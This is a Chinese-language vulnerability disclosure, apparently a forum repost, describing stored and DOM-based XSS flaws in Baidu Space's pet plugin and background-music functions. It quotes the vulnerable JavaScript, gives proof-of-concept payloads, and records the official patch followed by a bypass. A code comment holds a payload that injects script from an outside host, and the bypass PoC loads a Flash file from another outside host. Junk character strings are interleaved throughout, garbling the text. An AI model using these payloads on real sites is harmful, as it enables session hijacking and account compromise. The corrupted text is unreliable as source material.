百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
+ j" A; y) t% f" f' W( {; c( a5 {. [5 r
. H$ R1 a+ T& j% ]' N% C1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 2 b" j: `+ C3 y0 e
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
/ s% ?9 j1 \0 `5 u: o: T: W, S1 ^! M1 k- B; c
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
. j5 z- o' c; w) g其中BdUtil.insertWBR为
, z. Q z" ^4 ?; U3 V% ufunction(text, step) { ' n8 l0 I/ N/ R( j% q# n2 W. O
var textarea = textAreaCache || getContainer(); % n( o# W! A F9 c
if (!textarea) { & x# q7 b. n& Y2 U3 _. A
return text; ' c9 T; w4 o* {) l7 N+ q
} : U! ^- s* P/ {0 H
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
. `" i( f( u& n var string = textarea.value;
( S+ G- J8 D8 R) n) K1 ~ var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
! i, S: x' t! P var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
( Y3 V! T; k0 H$ U3 o return result;
* H. i/ l. g0 J' t9 _# A( C* {}
" F; M7 ~1 E7 |) \- L在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
1 G' j. {$ Q# y1 C测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> ! b4 ^* O$ H6 V0 ?1 I
: f4 _" _( z1 j) X) r K" X0 G二:creatbgmusic() Dom-Xss Bug 0 R% ]& \, d) M) [: [
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
$ E) ^0 }6 x. Y* D& r4 s, `. ~- L
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
# o& W( d1 V3 d7 Z4 c
: s8 [4 \8 U% W) l) gfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
5 i) l& S) T, |( p X9 X% \ //传入的murl赋值到bgmusic1和bgmusic2中 . z9 I/ G/ T5 L. S; a6 S9 a' P* c' @
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
# Z: X1 O E5 P# l5 a8 k var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
) U1 f* T0 P7 b( F if (musicnum <= 1) {
( |! h( S# t; k/ B' d bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
! U# X4 Q( x' @2 H! S) \' w4 s! I+ J }
: Q5 o5 X8 j3 Y4 Y- p. p- x bgmusic1 += "</OBJECT>";
# R5 h" V A3 L) X$ m1 [ var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 2 z" w. B) v; `3 X7 J0 F% E4 H" z
if (musicnum <= 1) { - s$ m7 G0 }0 M/ z
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
1 ^" Y* q+ X( O. F! h% n$ v } 0 Q$ F d) B$ t" W
bgmusic2 += "> </EMBED>";
) ]; K% j) V/ a1 R( y# @( e var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
, I- u- E) ] S2 ~; ?' i5 { var bgmus = detectWMP();
. u+ d h+ E& W; |3 l if (functype == "FckMusicHelper") {
x+ I0 q% Z2 ^/ X$ U- q0 Z if (bgmus.installed) {
" m& _: t7 M0 \& w* A if (bgmus.type == "IE") { * s2 w; x$ s' n d
return bgmusic1; % c" r O ^3 `1 x9 \
} else if (bgmus.type == "NS") { 1 y! j3 L2 A7 c4 t8 o6 c h* f9 S
return bgmusic2; / N) P7 B4 u. U# S; Q/ d
}
% B: `/ g) d: m/ O* B# C- P5 P } else { 1 b4 m: c9 w1 b1 K7 M* R& o7 }5 p
return bgmusic3; % Y7 A2 p3 Y6 n8 M
} % L4 |6 ~: u$ D9 `0 F4 S# N5 [
} else {
$ P5 V2 \( a8 T H if (bgmus.installed) { 6 i, q$ a, {; t+ F
//document.write 直接输出bgmusic变量 导致xss
" } X1 e) I+ n if (bgmus.type == "IE") {
+ u/ W1 m' Z6 Y! t document.write(bgmusic1);
, I' A2 O; h z) M } else if (bgmus.type == "NS") { 0 ], Z7 h+ l: o5 C6 S) ^! u
document.write(bgmusic2);
* @( A3 O3 B3 I4 \- p }
& ]. Y3 G6 ]' M } else { 9 f3 v/ ^4 O4 u4 N) w' ~% e
document.write(bgmusic3);
, L( P+ g: H1 U& l) L' c$ { } 8 V9 s1 `# B5 J9 e! [1 A
return ""; 7 v( B6 a& [8 W' j. p
} - w. w3 M4 a, A6 Q, j
}
e7 s0 N( n$ b9 F6 }, A5 _$ \6 N( a2 W$ P2 P* D
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: & m) u4 E6 l2 @" S
6 n- W1 J# q# H7 m; z5 z) F6 b9 ffunction initBlogTextForFCK(){ # c, F# B0 v9 B
//fck init music 7 C' d G. @, t- r8 K8 a) Y
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
; q3 [, d3 B& O- p7 hvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 2 s, o8 x& m1 z K# S/ r& u# Q. q
var isAutoPlay=true; 8 M0 Y f5 c J; F& w
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. + L* F8 ?* p8 ^( }
var img=imgBox;
8 P% l1 ~. y' g- ?4 N$ c3 ]6 f if(img.getAttribute(’rel’)){ 0 k! V$ T( ?! b+ Z
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc Z$ L9 m" Y* `2 X/ W# i
var musicDiv = document.createElement("SPAN"); + c# a6 p; T$ \9 ]) a8 t
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
t/ l6 k: H0 }% I " k% M9 I. U8 L }) f
..........................
4 ?* g' b% v! I( x 3 V+ B: Q: ]9 J8 c4 z! F
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. + h6 m" P9 M+ s1 s8 i
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
/ D6 U. f5 }1 o h' F# d- Z. P shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 0 S) B4 X/ j6 @2 E
musicDiv.innerHTML=shtml;
C8 I. \3 ]; V6 @3 ] i--;n--; $ W, |1 x" q3 X8 O) `
} 4 e& m$ x9 O6 H. Q# j
}
" a6 o: Y8 D/ z+ X6 B+ k0 }# j- b' |9 h
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
7 E" r1 P8 m- f4 Z' F1 { |
. c: M3 w! v! c) E测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
' s2 O9 |7 t3 _6 ^. `
) h1 o( ~% t% }, I' U. ]等待官方补丁
8 L2 I4 O/ }/ y& v1 w$ m5 I+ t. h8 m, j& Z
update 2010年5月13日 9 Q) z q1 u/ e) [0 _" b
# D7 ]1 \8 }5 P$ A9 z6 Y/ `! Z; |官方补丁:
1 H- F# w: S n$ V. z$ w+ _+ o& B! w5 |
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
% x0 v/ J/ _" ~1 J) u. i* x改为: 3 y7 f( c) l2 m0 a7 E( K; i4 Z+ x2 ?
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
& y' T0 P7 {( v; T) p. c; \
' N( k5 _3 T* E( ?8 _; ]update 2010年5月13日 21:50:37 # R1 R i$ H2 d( B" M2 I
: X$ K3 Q4 ^) ~6 @补丁存在漏洞 没有过滤" 可以继续跨: 2 a. M, ~! z/ O; w% c3 n; U
+ P( ^" w$ s* N' T7 l
NEW POC:
' `8 Z+ { t8 F" ]* w) B
, ]# [1 T) D6 Z `9 T<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 8 R0 y- w6 j# c9 H
; {# P' i' y* k# Eallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
; j1 K2 M% F- e, d- n 7 Y* Z. z* H# K( y. `5 w- Z
|